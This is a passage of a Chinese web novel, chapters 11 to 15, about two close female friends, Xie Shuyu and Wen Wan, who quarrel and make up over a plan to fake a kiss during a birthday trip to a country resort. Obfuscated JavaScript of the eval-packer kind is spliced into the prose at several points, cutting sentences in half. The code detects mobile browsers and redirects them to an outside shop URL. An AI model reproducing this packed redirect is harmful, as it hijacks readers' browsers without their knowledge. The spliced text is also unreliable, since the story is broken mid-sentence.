谢舒毓咽也不是,嚼也不是,把左叶瞪着,真想拿刀宰了。 她半低着头,两眼往上看,这个角度眉眼极为深邃,杀气凛然,但两片紧抿在一处油晶晶的嘴唇还是暴露了她的本性。不过是只纸老虎。 “我胡说八道的。”左叶扯张抽纸,探身给她擦嘴,“行了没事了,吃吧,好孩子。” 谢舒毓拍开左叶,抢过纸自己擦嘴,就着汤水把饭咽下去。 许徽音要笑不笑,温晚装作什么也不知道,拿着手机划来划去,“我怎么跟次子说呢。” 她觉得这样有些不礼貌,但想到昨晚次子不请自来,还惹得她跟小筷子大吵一架,又开始生气。 她只有一个顾虑,“这样会不会显得太刻意,昨天我还叫人滚。” 左叶说你别想那么多,“不然他还以为你真约他去过生日!男的都特别自信,真的,一下杀不死,必是后患无穷。” “欸,我突然有一种感觉。”许徽音捏着筷子,说:“像不像几个油腻男聚在一起约妹子,还商量怎么整蛊人家。” “放屁!”左叶恼了,“那能一样?我们是受害方好吧,解决问题来的,他自己没眼力见,对人死缠烂打,还跑人家门口蹲点。欸,半夜十二点,我的姐姐们,他想干什么?有啥话白天不能说,我看他就是没安好心,被整也是活该。” 这么一说,谢舒毓瞬间醒神,“对啊,都凌晨了,他还跑人家门口,别是居心不良吧。” 她有些着急,叮嘱温晚以后千万小心,有人敲门先在猫眼看看,不行装个监控,还说要投诉物业,什么牛鬼蛇神都往里放。 “今天白天,就把两个不是业主的家伙放进来了,这安全意识也太低了。” 左叶在桌下给她来了一脚。 温晚攥着手机正发愁呢,次子倒先来消息了,线上再一番致歉,说昨天太冲动。 “那本大小姐就给你一次将功赎罪的机会。” 温晚给他发了庄园的定位,说你要来就来吧,人多热闹,好玩。 “不是将功赎罪,是鸿门宴,要杀人灭口。”谢舒毓横臂抹脖子。 “瞧咱小筷子。”左叶又开始拿她逗乐。 谢舒毓立马正襟危坐。她疑惑,很明显吗?前几天聚一块吃饭,左叶当时不是已经安排得明明白白。 “你干嘛老针对她呢。”温晚终于开口。 左叶来劲了,“小碗,你真不觉得她最近变得很奇怪?” 同样变得很奇怪的温晚说:“哪里奇怪了。” “你们两个都很奇怪。”许徽音也察觉到了。 “是吧是吧!”左叶兴奋。 温晚不慌不忙,“如果只有一个人觉得我们奇怪,我们可能是真的奇怪,你们两个的话,那就是你们自己的问题呀,好好反省一下吧。” 什么嘛,根本毫无逻辑,她是怎么做到满脸理所应当理直气壮的。 “对啊,为什么老拿我说事呢。” 谢舒毓慢悠悠跟上来,“不会是借我挡事儿吧,想你的初恋了?” 说到左叶高中那个初恋,许徽音顿时垮脸,什么都顾不得了。她很清楚那已经是过去的事,却也很难做到不在意。 “卑鄙小人!”左叶谴责。 饭吃完,几人走出餐馆,许徽音气冲冲朝前,左叶在后头追。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572066|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >中午日头正烈,谢舒毓抬手遮挡阳光,眯起眼睛,心中无限感慨——女人呐,女人何苦为难女人。 车子抵达郊外的庄园是下午两点,走外环上高速,一路畅通。 庄园老板收到消息,引她们去停车场,谢舒毓被空地外一片草丛吸引,下车后驻足拍照。 “什么花。”温晚蹲在她身边。 “紫花地丁,堇菜科堇菜属。”谢舒毓认识许多植物和昆虫。 温晚跟她在一起久了,也略懂,“一年生还是多年生。” “宿根,多年生。”谢舒毓回答。 紫色小花贴地大片盛开,是早春青黄不接的旷野中一片极为亮眼的点缀,温晚托腮看向身边人,那双发现美的眼睛更为光耀。 温晚说:“我喜欢多年生,坚强,执着,不被冰雪摧毁,即使地上部分在冬季无法保留,来年春天,依旧会给人带来惊喜。” 谢舒毓低头查看照片,不太满意,重新选取角度拍摄,“一年生的植物也会留下种子。” “不一样。”温晚摇头,“我这个人比较恋旧,我就要原来那一个。”对永恒,她有种接近变态的执着和追求。 “其实我也是。”谢舒毓收起手机,“宿根花卉一来比较省钱,二来,之后那个过程,可以清楚看到植物因根系之茁壮一年又一年的变化。” 谢舒毓在说植物,温晚说的却是人,但都没什么分别,所以她们能成为朋友。 “好了没?”左叶问。 “好了。”谢舒毓站起。 猛地一下,有点头晕,她趔趄两步,温晚慌神,赶忙将她抱住。 “是不是低血糖了。”左叶快跑过来,边跑边回头冲许徽音嚷嚷,“我就说得多备两瓶饮料吧!” 许徽音无言以对。 “没事。”谢舒毓靠在温晚肩膀,对方身上好闻的气味像糖,她在恢复了。 爽朗可爱的春天,抖开翅膀,她们在温暖的阳光下拥抱,耳边有飒飒风声,心口酸软发胀。 谢舒毓毛乎乎的发尾调皮钻进衣领,温晚看到路尽头有车开过来,是次子。 她懒懒眨眼,心想,今天可以接吻吗? 12.第 12 章 温晚记得,在梦里,她们有接过吻的。 海边,椰林,傍晚漫天瑰粉,涩中带甜的白茶香。 该怎么形容呢,像小时候第一次吃到果冻,先小心吮去表面汁水,嘴唇覆上,新奇那凉滑的质感,轻缓抿动,辗转许久才伸出舌尖试探,体温暖热,最后打开牙关,试探咬上一口。 整个过程,初时专注认真,渐渐投入后失去意识,完全本能驱动,目眩神迷。 但那终究只是梦,毫无实感,梦里的谢舒毓如水中望月,雾里看花,无法清晰感受嘴唇的形状和温度。 《科学与自然》有一期详细解析过梦,内容太过专业复杂,温晚只大概记得,书上说梦与人之记忆、情感、意识和思考都密不可分,是人神经网络活动的一种表现形式。 她的记忆中,谢舒毓占据了绝对的重要地位,她的情感从经历和记忆中诞生,意识同样由此而来,最终,她陷入思考,内容就是几天前那个春梦。 梦又从反方向持续发散思考,渗透意识,融汇情感,翻搅记忆…… 完美形成闭环。 说起来,昨天晚上好像没有做梦呢,安安稳稳,一觉睡到大天亮,早起格外有精神。 是因为她在身边吗? 温晚胡思乱想之际,次子来到面前,笑着跟她以及她的朋友们打招呼。 肩头重量卸去,温晚随之侧目,谢舒毓离开,站直身体,点头示意,说“你好”。 “晚晚。”次子一脸傻样看过来,仍然是很没新意抱了束鲜花,但这次是情绪更为热烈的红玫瑰。 谢舒毓“哟”了声,“又送花。” “昨天真不好意思。” 次子开始进行自我介绍,姓、名,以及辈分,详细拆分。 谢舒毓的名字也是依着辈分来取的,毓指生养,以前医疗条件不好,她妈妈生她的时候难产,大出血,后来脱离危险,母女平安,满月时家中便给她起名为“毓”,以瞻念母亲的孕养之恩,亦有钟灵毓秀之意。 “真厉害。”谢舒毓笑着说:“我的名字很普通,我叫王红,” 她抵触情绪明显,连姓名都不愿跟人讲。 左叶哈哈大笑,许徽音上前,从头到脚把次子暗暗打量,几人虚伪寒暄,谢舒毓最讨厌这种场合,独自走进庄园。 庄园老板始终等候在旁,这时终于有人来到她面前,她舒了口气,紧接着试探道:“咱们这边好像只订了两间房。” 如今四女一男,怎么分配呢。 “那个男的不用管。”谢舒毓跟老板并肩往里走。 也有备用方案,老板说:“倒是可以搭帐篷,来我们这儿的客人,很多都是专门奔着露营来的。” 庄园提供酒水餐食,不用自己动手,晚上还能睡在帐篷里,聆听大自然的声音,颇具妙趣。 相比次子的家境,豪车和手表,谢舒毓对庄园老板的创业心路更为好奇,花园里,各种大大小小的花镜组合在一起,确保四时有景,处处都充满巧思,谢舒毓很喜欢这个地方,行走其间,一路攀花,心情好转了些。 在楼下办理入住,拿房卡去楼上放背包,谢舒毓洗了个手,站在窗边看了会儿风景,决定下楼逛逛。 刚出门,走廊上看见个人。 “你跑什么。”温晚倚墙站在对面。 “我跑什么?”谢舒毓单手撑着门,有些进退两难,“我放东西。” 温晚挺背站直,大步朝前,谢舒毓急忙后撤,退回房间。 猛一股大力撞击,门扇回弹几下,谢舒毓反手撑在墙,提醒说“别把门弄坏了”,温晚扯着她往旁边挪几步,伸手把门甩上,问:“要不要先找找感觉。” 霎时心跳如鼓擂,谢舒毓红温了,从脸一路红到脖子,磕磕绊绊问“什么”。 “接吻啊。”温晚几乎整个人都贴在她身上,“像叶子说的那样,让次子知难而退,别再纠缠我。” 温晚今天穿一条鲜艳的大花长裙,玫瑰图案,领口暴露大片雪白肌肤,她发黑直,长长披散在肩,清纯和美艳两种相左的感觉在她身上完美融合。 裙子是精心挑选的,她把自己打扮成一束行走的玫瑰,自动献上,祈求一个怜爱的亲吻。 脑浆沸腾,谢舒毓整个人都不好了。 “怎么样?”温晚下巴杵在谢舒毓锁骨位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573941|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看她费力昂头,好搞笑。 “不怎么样。”谢舒毓干巴巴回答。 温晚说:“那你想怎么样。”说话的时候脑袋一点一点的。 她的声音与胸腔心跳共鸣,鲜有的奇妙感觉,谢舒毓艰难抵抗,“我不想怎么样。” 温晚耐着性子,“你有没有什么好的方案。” 谢舒毓摇头,“没有。” “那就只能亲嘴了。”温晚说。 沉默,谢舒毓完全宕机。 “叶子不行啊,阿音也不行。”温晚努力说服,“就算是朋友帮忙,也太尴尬了,以后怎么相处啊,她们肯定也要因为这个吵架的。” 温晚一只手环住谢舒毓腰间,一手点在她颈下那颗红色小痣。 “你是直女嘛,亲一下又没什么,难不成,你还要为你以后男朋友守身如玉啊。” “什么话?”谢舒毓忍无可忍回了一句。 “对啊对啊,都什么年代了。”温晚嘟嘴撒娇,又故意朝她脖颈吹气,手指点按在那颗红痣周围皮肤,浅浅画圈。 “再说,小时候我们又不是没亲过。” “小时候是小时候。”谢舒毓对着天花板说话,脖子扯到底了,嗓音变得很奇怪。 温晚忍不住发笑,“你没必要这么防着我吧!” “反正我不会同意。”谢舒毓态度坚决。 “为什么。”温晚追问不休。 起初的羞赧平复,急于摆脱,谢舒毓心头升起些不适,也许是因为对方提到了小时候。 “你非要我说吗?” 预感到谢舒毓又要讲难听话,但温晚不知道自己怎么了,还是执意往枪口上撞。 “你说啊,有什么是你不敢说的。” 谢舒毓把温晚从身上扯下来,两手扶住她肩膀,推远半步,“你将来还是要谈恋爱的,让你以后女朋友知道我们之间发生过这种事,合适吗?你可以轻视自己,但你不应该不尊重她,不尊重我。” 像一个响亮的巴掌打在脸上,温晚睁圆眼睛,从谢舒毓眼底看到盛装的自己,不是玫瑰,更像是小丑。 她感到屈辱,眼眶迅速发红。 13.第 13 章 出门的时候,温晚特意选了身上这条裙子,华丽裙摆,襟前大开口,腰身没有一处多余,需要时时保持完美仪态。 她对着镜子掐腰,原地转了个圈,问谢舒毓“好不好看”。 三月下旬,天气还有点凉,谢舒毓担心她感冒,“实在穿想裙子的话,要不换件长袖,我记得你有,后背有蝴蝶结那件,也很漂亮。” 温晚手指戳戳裙上花朵,“可只有这件有玫瑰。”还是红玫瑰。 昨晚有人送她玫瑰,她没收,今天她把自己用心整理包装成束,也有自己想送的人。 “现在早晚温差有点大。”谢舒毓提醒。 “晚上我再换呗。”她拎起裙摆,蹦蹦跳跳,“我就要穿这个。” 谢舒毓想了想,说“也行”,背包里多塞一套衣服。 终于到心心念念的献花环节,温晚满怀期待,以为看在她生日的面子上,谢舒毓不会拒绝。 她还是高估自己在人家心里的重要性了。 “那吃午饭的时候,左叶提出这个计划的时候,你为什么不否认。”温晚强忍泪意,质问。 “我当时就说了,另想办法。”谢舒毓后背抵墙,也没办法做到完全理直气壮,可她更不能接受自己对温晚的种种非分之想。 “可你后来就没有坚持了!”温晚大声控诉,“你分明就是默认,现在又反悔。” “对,我反悔了。”谢舒毓语速极快,“我做不到。” “为什么?”温晚不解。 重复回答一个问题让谢舒毓感到有些无力,她深吸气,耐着性子,“我刚才已经说过了。” “是我也不可以吗?帮我的忙也不可以吗?”温晚央求。 但她知道,计划无法展开了,她期待的一切都不可能发生,当时的气氛已经过去,即便她大哭大闹,逼得谢舒毓无可奈何就范,强扭的瓜不甜,事件的发展早就违背预期,不再是她心之所往。 完了,全完了,这个生日,这个美好的周末。 她们好不容易见一面,却闹得那么难看。 后退几步,裸露的后肩抵靠在冰凉的墙壁,温晚脱力,缓缓滑坐在地,呼出的气息变得沉重而艰涩。 “谢舒毓,在你心里,我是不是特别恶心。” 她抬起头,心口剧烈抽痛,泪水迅速堆积在眼眶,像隔了层磨砂玻璃,视线里的谢舒毓变得陌生而遥远。 “跟女的不清不楚,跟男的也不清不楚,连我的床你都觉得脏,只有我哭的时候,你才会感到不忍心,强忍不适,用你的善良哄骗我。” 她颓坐在一片盛开的玫瑰园,被花枝上锋利的尖刺割破手脚,眼泪无法停歇,心中的血淹没胸腔,几乎窒息。 “我知道,你心里一直都很看不起我,觉得我家是暴发户,我们全家都没文化,我更是个很不检点的女的,明明对人家没感觉,还是一下就被追到,那些男的也是,总缠着我……” 说不下去了,温晚双手捂住脸。 在外人看来,她家境好,从小不缺钱花,人又长得漂亮,父母也极为疼爱,无论她做什么决定都表示支持,她的人生简直完美。 谢舒毓面前,她却一点自信也没有,一次次把自己贬入谷底。 “你没说错,我就是很脏,就是一个很糟糕的人。” 谢舒毓无可奈何撑额,好生气,还是放低了姿态,跪坐在地。 “你说到哪里去了,又开始说这些话。” 无数遍,第无数遍,谢舒毓不厌其烦。 “什么暴发户,什么不检点,不要再说这些,你很好,你很完美,真的,为什么总是这样说呢。” 谢舒毓取来纸巾,小心为她擦拭面颊湿漉,“别哭了,妆哭花就不好看了。” “要那么好看有什么用!”温晚哑着嗓吼出来。 人家又不喜欢。 “你的生日聚会嘛。”谢舒毓为她整理滑落的衣肩,“今天还特意穿了条漂亮裙子。” 说到裙子,温晚更觉可笑,猛一把推开谢舒毓,跌撞跑去一边,反手摸到后背拉链,就要把裙子脱下来。 谢舒毓不防她突然发力,像只被踹翻的乌龟,费力爬坐起,她裙子已经脱到一半,拉链卡在半截,怎么拽也拽不下,两手胡乱撕扯,气急败坏,坐在床边一通乱打乱捶,发丝被眼泪糊得满脸。 什么红玫瑰黄玫瑰,她就应该找个垃圾桶,麻溜把自己塞进去! 谢舒毓大步冲到床边,迅速拉上窗帘,这一次毫不犹豫,倾身把她抱进怀中。 唯有密不透风的拥抱,才能制止她的歇斯底里。 眼泪浸透肩头厚实的卫衣布料,谢舒毓身上穿的这套是早上才换的,因为偶尔会在温晚家过夜,她专门给她买的,她喜欢的款式和材质。 道歉没有意义,温晚也不是真的需要,谢舒毓手掌落在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13580107|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰凉的后背,扯了被子把她包得严严实实。 迷糊了,谢舒毓真有些迷糊了,温晚那些话,是想听见她的反驳,还是发自内心的…… 对自己的惶恐、蔑视。 如果是后者,谢舒毓痛心。 她是那么好的温晚,分开几年,怎么变得这般小心翼翼。 “有时候真想不明白,我们之间到底发生了什么。” 她灼热的呼吸喷洒在脖颈,并不厌烦,谢舒毓闭上眼睛,用力抱紧她,感受她难以平复的激烈心跳。 她哭到全身发热,浑身颤抖,那么可怜,那么伤心。 爱哭鬼。谢舒毓在心里偷偷骂。 幸好,她还有办法让哭包安静下来。 自己惹哭的只能自己哄,许久,两条手臂都微微发麻,谢舒毓低头去看,温晚小小一团缩在怀里,不掉泪了,只是红着眼睛抽抽搭搭。 谢舒毓伸手检查,“还好裙子没坏。” 温晚有个坏习惯,喜欢砸东西,她们以前吵架,温晚大小姐脾气控制不住,会乱打乱砸,谢舒毓几次明确表示过不喜欢,温晚这几年已经非常克制,没有一次再犯。 实在忍不住,她就砸床,无能狂怒的样子甚至还有些可爱。 这世上哪有天生合拍的两个人,都是无数次血淋淋的碰撞磨合出来的。 谢舒毓有时感到绝望,她哪里还有时间和耐心像对待温晚这样对待另一个人呢。 如果她们不能长长久久,所有人都是将就,而她不愿将就。 “我会努力尝试的。”谢舒毓到底还是心软了。 “我不要!”温晚带着哭腔大声说:“嗟来之食,不稀罕。” “那不是白闹腾了。”谢舒毓歪头,戳她软软的脸蛋。 “什么?”温晚大眼睛凶狠睁圆。 谢舒毓没忍住笑出声,“好了,对不起嘛,又惹你不开心。但以后真的别再那样说自己,即便是从内心真实的不认可,就当是为我,别再说了,会形成一种很可怕的心理暗示的。” 温晚没吭气。 “我亲一下,你就乖乖听话,好不好?”谢舒毓哄小孩的语气。 温晚扬起脸,腮帮圆圆鼓鼓,泪湿的眼亮晶晶。 拂开她额前湿软的乱发,谢舒毓俯身,一吻落在她眉心。 摸摸脑门,温晚不太满意,又大发慈悲想,也行。她确实没有力气再哭第二场。 14.第 14 章 温晚偶尔也反思,她脾气是不是太糟糕了,太爱哭了。 但她认真回顾过去十几甚至二十年,从有记忆开始,她不是在所有人面前都会轻易情绪决堤,包括父母。 只有谢舒毓。 从心所欲,肆无忌惮。 究其原因,她太在乎谢舒毓对她的看法和态度。 温晚吸吸鼻子,有碎发贴在脸颊,感觉痒,她歪头在人肩膀蹭蹭,也是个撒娇卖乖的意思,“我是不是很作。” 倒是难得良心发现。谢舒毓给她揪起那根发丝,“我说作的话,你下次会不作吗?” “那就是作的意思呗。”温晚懒懒翻个白眼。 谢舒毓学她腔调,“那就是下次还要作的意思呗。” 温晚“哼”了声。 刚发完疯哄好,软绵绵热烘烘缩在怀里的温晚过分乖巧,谢舒毓低头,手指细细摩挲在她腮畔,靠近下颌那一小块皮肤滑溜溜、毛茸茸。 她哭得有点累,半阖着眼休息,谢舒毓动动身子想调整个舒服的坐姿,她立即睁开眼睛,扯住人衣角。 “不走。”谢舒毓手臂本能收紧力道,“我挪个位置,床沿卡着腿了,有点疼。” “那我给你揉揉。”温晚嗲声嗲气,手从被窝里伸出来就往人屁股底下掖,还问呢,“是哪边疼?” 谢舒毓一时哭笑不得,抬身坐好,说“行了行了”。 温晚整个爬上床,头枕在谢舒毓大腿,舒舒服服仰面躺着,然后把谢舒毓手抓过来,单独找到大拇指,按在脸边,吩咐说:“还像刚才那样摸我。” “这个位置吗?”谢舒毓岂敢不从。 “再上面点,不对,下面点……好了,别动,不不,要动,像刚才那样细细地动。” 她事儿可多。 窗帘没拉严实,日头逐渐偏西,一线暖融融的太阳光溜进屋,照在她的脸,她动动眼皮,纤浓睫羽随之轻颤。 谢舒毓视线凝固在那双饱满晶莹的唇,刚哭过,颜色正艳,诱人深陷。她不敢想象,那触感何其销魂。 道貌岸然,虚伪至极,谢舒毓心中谴责自己。 温晚的要求,从小到大她很少有拒绝,她想亲,但不希望只是做她的挡箭牌。 在房间磨蹭太久,直到左叶敲门,问她们怎么回事。 谢舒毓隔空喊了一嗓,抱着人晃荡两下,“起床吧,出去走走。” 温晚乖乖爬起,谢舒毓帮她重新穿好裙子,又等她补完妆才牵手下楼。 “干嘛呢。”左叶从老板那拿了鱼竿,门前正调配鱼饵。 她抬头一看,“哟,又哭了。” 许徽音桌边双手撑腮,笑而不语,一脸看破不说破。 “次子呢?”谢舒毓问。 话音刚落,门前有人转身,目光诧异。 除了次子还能是谁,只是今天换了身休闲装,谢舒毓一时没认出来。 “哈哈——”许徽音打圆场,“小碗跟我们介绍过你。” 也不恼,次子笑着跟谢舒毓打招呼,又歪了下头,看向她身后的温晚。 情绪低落,温晚没心思招待,再说今天叫他来本就居心不良,她干巴巴扯了下嘴角,“你自便,有什么需要跟老板说,她会安排。” “这地方我来过。”次子点点头,注意到她的反常,目露关切,“你怎么了?” “我家狗死了。”温晚胡扯。 她家确实有条狗,十三岁,不过是去年八月走的,四舍五入不算撒谎。 左叶和许徽音齐抬头望来,这事儿她们都知道。 谢舒毓顺着接,“所以她心情不好,哭了场。” 次子想安慰几句,温晚跟在谢舒毓身后,小媳妇似的,抱着人胳膊嗒嗒走了。 左叶跟许徽音交换个眼神,替她们招待客人,“来一起钓鱼吧。” 温晚才哭过,心情郁郁,对一切都兴致缺缺,谢舒毓知道怎么哄好她,出门时特意叮嘱她换了双轻便的平底鞋,这时出了庄园,带她去附近散心。 途中经过一片果园,正是花期,漫山如覆雪,日光下又被像泼了层薄薄的麦芽糖,空气中满是沁甜,蜂群来往忙碌。 温晚欢呼,展开双臂奔向花海,谢舒毓站在原地,给她拍了几张照片。 “好香!”温晚闭上眼睛,大口呼吸,“是什么花。” “李花。”谢舒毓回答,举着手机给她找角度。 她们这地方李花开得最早,团团簇簇,有花无叶,颜色纯洁质朴,味清新淡雅。 《史记》中有“桃李不言,下自成蹊”,意是桃树和李树不会说话,但花朵清丽,果实甜美, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590168|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人们本能向往,久而久之,树下便走出一条小路。 人所共知,不言而喻。 左叶和许徽音估计早就看出来了,那温晚呢,她近来的反常,她感觉不到吗? 谢舒毓不敢深想,怕她懂得,只是装傻,哭闹不过是装疯卖傻,粉饰太平,又怕她当真什么也不懂,她们之间永远“友达以上,恋人未满”。 “小筷子!快来!”温晚招手,在半山上,像雪地里一树靡艳的红梅。 谢舒毓按下快门,将此刻定格。 随时间流逝,她的模样不断在脑海中刷新,头发长了剪,短了蓄,身量不断拔高,服装风格也不停在变。 但行走坐卧间,那些难以描述的小习惯小动作,永远是幼年初见时模样。 无论她们有多久没见,无论当时境况有多糟糕,只要她出现,就像有一束光照亮黑暗的房间,是天赐,是自然馈赠,唇边不自觉展露笑容。 过分依赖的后果是胆怯,因害怕失去,变得愈发谨小慎微。 S.H.E在2001年9月发布专辑《女生宿舍》,其中有一首单曲,叫《恋人未满》,谢舒毓很喜欢。 记不清是几年级,反正那时候很流行手抄歌词,谢舒毓抄了厚厚一沓笔记本,几乎涵盖当时所有华语金曲。 初闻不知曲中意,歌词内容半懂不懂,只是钟爱其淡淡忧伤旋律。 耳机线藏在校服里面,头发放下来挡住,托腮看窗外的树,走神半节课。旁边人捅捅胳膊,递来糖果,分享的喜悦按纳不住,傻乎乎咧嘴笑,露出个黑黑的小牙洞。 记忆充满浓浓焦糖味。 爬到山顶,两人气喘吁吁,找了片干净的草地坐下休息,谢舒毓摘了两朵小花,为她别在耳边。 “好看吗?”温晚双手捧脸,作绽放状。 “好看。”谢舒毓口中从来不会有第二种答案。 仰脸迎着日光,浑身都暖融融,温晚好纠结,拧过身子,头靠在谢舒毓并拢的膝盖,嘟囔说“好怕晒出斑点”。 谢舒毓只担心草地有虫,低头为她整理裙摆。 温晚抱住她腿,喜欢她神色幽静做着这些,对这个半冷不热的家伙真是疯了一样着迷。 “好无聊哦——” 温晚跃跃欲试,“要不还是来练习接吻吧。” 15.第 15 章 接吻,练习。 谢舒毓当时没细想,只是联想到了一件小时候的事。 “还记得我们第一次见面吗?” 温晚当然记得。但其实对她来说,老樟树下的初遇并不十分印象深刻,而是在认识谢舒毓之后,听对方反复强调过多次,才逐渐唤醒完整画面。 原来人与人之间的记忆是有偏差的,在她看来只是件微不足道的小事,对方心中却重如千钧。为回馈这份深情,她不敢忘。 “那天很热,我记得,你数学没考好嘛,被你妈骂了,坐在小区大门口哭,然后我给了你一颗糖。” 温晚还是趴在谢舒毓膝盖上,下巴颌贴着她的牛仔裤,说话的时候脑袋一动一动。 “你当时还……”谢舒毓小心斟酌措辞,“咬了我一口。”她其实想说亲。 “嗯。”温晚眨眨眼睛,示意继续。 “为什么。”谢舒毓问。 这个问题也是最近才冒出来的,在那个梦之后。 温晚陷入思考,努力回忆当时情形,也对谢舒毓的“为什么”产生了一系列的为什么。 难道是她最近表现得太过明显,发疯太过频繁,让人看出端倪啦? “就是看你哭得软乎乎的,脸蛋白白嫩嫩,感觉很好吃呗。”她实话实说。 谢舒毓笑起来,迎着日光,岁月没有在她身上留下太多痕迹,她还像个初入校园的女大学生,刘海松软,笑容明媚,比漫山的李花还要纯洁、轻盈。 是害羞的笑。 温晚看呆。这就是谢舒毓身上最为吸引人的特质,源自她内心的洁净。 她是崇拜自然与生命力量的女德鲁伊,用她的耐心和温柔治疗一切。 “我回答了,然后呢。”温晚追问。 垂下睫毛,谢舒毓沉思片刻,“不是说练习,先找找感觉呗。” 温晚惊喜,挺直后背,“你同意了?!” “我再不松口,你又要哭闹。”谢舒毓很无可奈何的样子。 温晚“切”了声,“我不信你内心完全无动于衷。”她斜坐在草地,把谢舒毓一对膝盖当成小桌板,半趴在上面,“有机会跟我这种大美女亲嘴,偷着乐吧。” “感谢大美女给我机会。”谢舒毓已老实。 果然是爱哭的孩子有奶喝,没想到谢舒毓这么容易就答应,温晚高兴坏了。 好意外,好突然,这完全都是左叶的功劳,那家伙脑子是真活泛,什么主意都想得出来。 温晚迫不及待挨去谢舒毓身边,“那现在就开始练习吗?” 显然有些意外,甚至是惊恐,谢舒毓慌忙往旁边躲了下。 温晚脸色立即不太好,又要努力保持矜持,不能因为人家不想现在、立刻,马上就接吻而发脾气。 后背抵在树干,腰侧撑有一截细白的手臂,谢舒毓保持偏脸的姿势,看温晚缓缓后撤半步,才谨慎靠回原位。 “现在不太好吧。” “为什么,这里又没有别人。”温晚背对着太阳,或许是因为炎热,或许是紧张,发际一圈绒绒的胎毛被汗水润湿。 “就是因为四下无人才不能乱来。” 谢舒毓义正词严说:“为了你我之间的清白,应该当着大家的面,才能进行这场公开的、严肃的,象征着纯洁友谊的……” 温晚歪头。 亲嘴,太直接;啾啾、啵啵,是卖萌。 “唇齿间的友好碰撞。”谢舒毓严肃脸,刻意掩饰内心的微妙不自在。 好奇妙,人生处处是惊喜,她竟然在跟认识二十年的好朋友,很认真讨论接吻。 是了,无论她如何搜肠刮肚,寻找词汇委婉表述,事实无法否认,那就是接吻,她们即将要接吻。 温晚直接听傻了,“唇齿间的友好碰撞?” 小筷子啊小筷子,亏你想得出来,她一时都忘了谢舒毓之前着重强调过的光明正大。 野地里没有发生什么“无媒苟合”的刺激场面,靠在谢舒毓身边晒了会儿太阳,哭肿的大眼泡水分完全蒸发,温晚恢复精神,折了几根花枝带回去瓶插,随后下山。 本来她不太敢折,都是谢舒毓在旁怂恿,说适当的修剪对植株萌发新枝有益,否则生长太过茂盛,也会被风雨打落。如此,温晚毫无心理负担。 “每次我想干点什么,你都撺掇我去干,自己清清爽爽站在一边。”温晚发现了,这人心眼挺坏的。 谢舒毓摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598708|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不赞同,“我只是希望你能开心,做你一切想做的事。”然后帮你想好理由。 她从不掩饰自己对她的偏爱。 “那唇齿间的友好碰撞也是啰?”温晚翩然转身。 “小心脚下。”谢舒毓手疾眼快拉了她一把。 温晚不怕,有谢舒毓在,她不会摔跤。但别想打岔。 “你说啊!” “不然嘞!”谢舒毓同样很大声,似乎她当真逼不得已。 真能装,她内心谴责自己。 温晚裙摆绽开,蹦蹦跳跳进了庄园大门,内心腹诽,哪天要真逼着她上床,看她会不会看在两人二十年交情份上,勉为其难奉陪到底。 谢舒毓紧随其后,抬头看向大门招牌——宝谷斋。 说是庄园,其实农家乐更为准确,不过嘛,城里人都追求逸韵高致,真叫农家乐,客流起码少一半。 园内有一片很大的鱼塘,岸边柳树下坐了几个人,温晚捏着花枝跑去凑热闹,谢舒毓远远看了眼,调转脚步,往住宿的白房子走。 想着就拿些东西,她插了房卡,也没关门,先去洗了个手,镜前又忍不住仔仔细细看看她这张脸。 